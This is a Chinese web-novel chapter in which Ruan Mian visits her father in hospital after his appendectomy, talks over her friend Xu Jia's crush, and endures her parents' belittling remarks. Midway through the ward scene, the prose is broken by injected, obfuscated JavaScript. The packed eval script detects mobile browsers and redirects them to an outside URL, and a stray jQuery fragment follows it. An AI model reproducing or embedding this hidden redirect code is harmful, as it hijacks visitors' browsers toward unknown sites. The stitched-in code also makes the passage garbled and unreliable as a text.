阮眠回到家时,只有玄关的灯还亮着,客厅内漆黑一片。阮星房间的门紧锁着,但透过瓷砖地板,可以看见一条明亮的光缝。
她放下书包,敲了两下阮星的房门:“妈呢?还在医院吗?”
阮星没开门,只听见她说:“对啊,妈说今天晚上她守着爸,让你明天早上去换她。”
“嗯,我知道了。”阮眠又叮嘱了她几句,让她晚上少看手机早点睡觉才走开。
阮眠洗漱完后,给林岚打了个电话,问了一下阮承平的情况。
林岚告诉她:“还要住两天院,今天才做了手术,阑尾炎也不是什么大病,你们不用担心。”
听了林岚的话,阮眠才放心上床。虽然她从小在爷爷奶奶身边长大,对父母的感情较为寡淡,但那毕竟是她的亲生父亲,血浓于水,名为亲情的红线将家里所有人绑在一起,谁扯动一下,整根红线上人的心,都会被牵动着。
阮眠打开微信,发现徐佳给她发了一堆消息——
小绵羊,约会怎么样啊?
信息技术课的老师是不是让你明天去学校一趟?
我正好没什么事可以陪你一起哟!
阮眠背靠着床头,打了两行字又全部删掉,文字已经不能表达出她的愤怒,非得发语音不可:“徐佳,都跟你说了我和那个程澈就是普通同学的关系!你整天揣度我俩的关系,不会是因为你对那个谢思淼有点不一样的感情在吧!”
在收到这条消息之前,徐佳还悠然自得地趴在床上,她点开语音消息,手机里传来阮眠愤怒的声音,原本她还只是觉得这是玩闹,直到听到谢思淼这个名字。
既然已经被发现了,那还是硬着头皮承认了吧。
很快,阮眠接到了徐佳打来的微信电话,她懒懒地按了接听键,“说吧,怎么看上的。”
电话那头是徐佳软糯的撒娇声:“哎哟,小绵羊你别这么直白嘛,人家也是会害羞的!”
阮眠打趣道:“呵。呵。在班里你一下课眼睛就像狗皮膏药般黏在人家身上,现在知道害羞了?”
徐佳大惊失色:“啊,真的吗?”也没有每节课下课都看他吧,徐佳快速绕动着指尖,还想再挣扎一下:“有这么明显吗?”
她有点害怕自己的小心思被别人知道,更何况谢思淼就是座冰山,徐佳似乎已经能预见自己和他的结局了。
阮眠仔细想了想,她也是今天才观察到的,只能安慰道:“没事没事,如果别人不是一直关注你的话,应该注意不到你每节课下课都在干嘛。”
徐佳松了一口气,“那就好。”说着,她抬手将抓皱了的床单抚平,开始盯着床单上的花纹发呆,不自觉又陷入了有他的那些画面中,不禁花痴道:“可是你没觉得谢思淼真的很帅吗!”
阮眠回忆了一下,她脑海中似乎没有谢思淼完整的一张脸,但是她对这个男生的印象倒是很深刻,因为他周身都散发着一种生人勿近的气息,感觉有点装装的。
虽然阮眠心中这样想,但谁让他是自己好闺蜜喜欢的人呢,她只好笑道:“哦,长得确实还不错。但是我们学校男生长得好看的也不少吧,你怎么就看上他了?”
在开学典礼的时候,阮眠在路上看见了好些帅哥。而且,徐佳前两天不是还那么花痴程澈嘛,所以她只当徐佳是一时脑热而已。
“嘶,怎么看上他……这个就说来话长了。”徐佳从床上坐起来,开始疯狂对阮眠输出谢思淼的好。
二十分钟过去了,阮眠差点儿睡了过去,她打了个哈欠,徐佳才以总结性的话语结尾:“总之,谢思淼就是非常有魅力!”
“哦哦,好,你喜欢就好。”刚才徐佳的那些话就像政史地要背诵的部分般,从她左耳朵进,在脑中绕了一圈,又从右耳朵出去了。
“话说,你明天不是要去学校嘛……”徐佳开始支支吾吾。
周四上信息技术课,学了如何制作网页,阮眠做的主题与黑洞有关,下课时被科任老师留了下来,问她想不想参加网页设计比赛。想着或许还能拿个奖,阮眠就报了名。
当然,他们班入选的除了阮眠,另一个就是谢思淼了。
阮眠惋惜道:“可惜了,我爸不是肠胃炎做了手术嘛,必须要人守着,我明天早上得去换我妈的班,所以这周去不了。”
说到这个,阮眠退出微信给科任老师请了个假,比赛日期在四月二十六日,这周末应该只是商讨一下选题,他们还有一个月的时间来完成设计。
“哦,也是。还是叔叔的身体要紧,我明天陪你一起去!”徐佳从床上弹起来,男人哪有闺蜜重要!
阮眠没拒绝,因为徐好也在这家医院工作,如果不小心遇到了他,有徐佳在还能化解一下尴尬。
第二天,俩人都起得比平常周末早,又坐了将近一个小时公交才到医院。
三月下旬,气候逐渐回暖。早晨几乎没什么雾气,但风中依旧掺了些寒气。
医院门口刚好有一家早餐店,包子馒头都热气腾腾的,一缕缕白雾像焰花般在蒸屉上萦回。
阮眠买了两份早餐,付完款,除了支付信息,又多弹出一条消息:你有一条好友申请。
她接过早餐,顺手点了进去,申请人的头像和ID她都很熟悉,他找她做什么?
“走吧。”
徐佳没吃早饭,自己也买了一份,她叼了根油条在嘴里,拉着阮眠进了医院。
阮眠怕徐佳看见自己的好友申请,到时候又解释不清,她只点进了前往验证,还没来得及点完成就匆忙关掉了手机屏幕,和徐佳一起往住院部去了。
到了病房,查房的医生才刚离开,各床的家属互相交流着病情,又各自感慨自家的病人受了苦,不知道什么时候才能痊愈。
病房不大,里面有三个床位,床位之间用浅蓝色的帘子间隔着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15680141|173256||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,在平时基本上都是敞开的,在必要时候可以拉上,将病人的隐私遮个七八分。
阮眠刚走进去,一股奇怪的气味扑面而来,其中属消毒水的气味最浓,还混杂着各类外用药物的苦涩。徐佳也呛了一下,一时有点不习惯。
见着两个年轻的女孩进来,另外两床的家属也不再说话,直勾勾地打量了她们一番。
阮承平在靠窗的三号床位上躺着,他面色枯黄,嘴唇没什么血色,看起来还十分虚弱。
阮眠走过去,将早餐递给了林岚,又帮忙搭起小横桌。
林岚笑着同病房里其他几个人介绍道:“这是我大女儿,另一个是她朋友,都还在上高中。她呀,看我一个人太辛苦了,非说要来和我换班照顾。”
就算事实并非如此,但是在外人面前,总要做做样子,以彰显她作为母亲对孩子的好教养。但其实林岚不说,阮眠也会主动来照顾的。她对父母的感情,远比父母想的要深厚。
接着,就是别人表面上的夸耀:“哎,生个女儿真好,女儿就是贴心小棉袄啊,不像我那个儿子,一天天的只会打游戏。”
“哈哈哈,女儿有时候也是吊带衫,四面八方都要通风的。”阮承平被林岚扶着坐起来,夫妻俩总得有一个唱白脸一个唱红脸,美其名曰:免得给你点颜色你就开染坊。
阮眠静静地站在一旁听着,她早就告诉自己,不要把他们的任何一句感性的话放在心上。
徐佳很清楚自己的好朋友在家中的处境,她笑嘻嘻上前一步打断了这些大人对孩子的审判,关切问道:“叔叔你怎么样了,好些了吗?”
“嘿嘿你们看,亲女儿都不过问一下,反而是佳佳先关心起我了,还是佳佳懂事,阮眠你今后要多向佳佳学习!”阮承平乐呵地喝了一口豆浆,他本意也不是责怪阮眠,只是想在一些夸赞后给她批判免得她焦躁,但这话任谁听去都是很不舒服的。
阮眠扯着嘴角苦笑了两声,她已经习惯了。或许她来的时候是该做一套表面功夫,但是似乎很没必要。问了又能怎么样呢,她只能尽量解决阮承平实际的需求,有些事情该医生做的,她的确无能为力。
阮承平的伤口还痛不痛,阮眠了然于心,哪有头天动了手术,第二天就不痛的?就算他说痛,她只能安慰几句“过几天就好了”“先忍一下吧”诸如此类的话。或许是自小与父母亲情的缺失,她总觉得这样的话虚头巴脑的。
阮眠觉得,自己确实应该向徐佳学习。她虽然有同理心,但是是对所有人一视同仁的,并不会对谁特殊。与其说她不会爱人,不如说她只会爱自己。
徐佳还在和阮承平寒暄着,阮眠不想说话也插不进去半句话。她默默地将大敞的窗户合上,仅留了一条缝,又拎起热水壶,察觉到热水几乎用完了。
“我去打壶热水。”阮眠的声音在几人的谈话中显得十分落寞,她深吸了一口气,径直出了病房。